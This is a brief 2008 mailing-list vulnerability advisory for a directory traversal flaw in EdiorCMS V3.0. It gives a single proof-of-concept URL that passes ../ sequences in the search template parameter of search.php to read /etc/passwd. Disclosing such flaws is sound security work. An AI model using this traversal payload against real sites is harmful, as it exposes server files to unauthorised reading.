Directory traversal in EdiorCMS V3.0

From: <wsn1983_at_gmail.com>
Date: 13 Mar 2008 05:48:56 -0000

('binary' encoding is not supported, stored as-is) Directory traversal in EdiorCMS V3.0

Application: EdiorCMS V3.0
Vendor: http://www.edior.com
Versions: 3.0
Platforms: ALL
Bug: Directory traversal
Exploitation: remote
Date: 13 Mar 2008
Author: Shennan Wang
              e-mail: wsn1983_at_gmail.com
POC: http://site/ecms/search.php?_SearchKeyWord=&_SearchField=Title&_SearchTemplate=../../../../../../etc/passwd
              
Received on Mar 13 2008